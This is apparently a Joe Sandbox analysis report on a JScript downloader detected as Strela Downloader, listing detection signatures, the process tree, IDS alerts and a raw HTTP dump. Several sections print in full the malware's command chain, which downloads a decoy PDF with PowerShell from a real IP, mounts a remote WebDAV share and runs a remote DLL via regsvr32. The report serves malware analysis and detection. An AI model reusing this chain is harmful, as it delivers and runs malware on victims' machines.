Edit tour

Windows Analysis Report
260622981189829640.js

Overview

General Information

Sample name:	260622981189829640.js
Analysis ID:	1588485
MD5:	bd1d3bc36d512e0171ecd883753914d6
SHA1:	e22bbbe79cba9be8efea9b6dba259fbd8a7f9351
SHA256:	0b16dc8ce720dab6fa23bf0c87cee6004d31f0e043bbfa77a2864d14b5c76119
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1812 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1816 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2404 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1804 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2052 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1744 --field-trial-handle=1548,i,17040936807131731567,18358313180190136609,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5828 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4876 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1824 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1812	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1816, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2404, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1816, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2404, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", ProcessId: 1812, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4876, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1812, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1812, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1812, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1812, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1812, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", ProcessId: 1812, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1816, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2404, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5828, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4876, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1824, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5828, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4876, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1812, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll, ProcessId: 1816, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:53:18.475338+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:53:21.524825+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:53:18.475338+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 260622981189829640.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 260622981189829640.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 260622981189829640.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49709 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:53:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 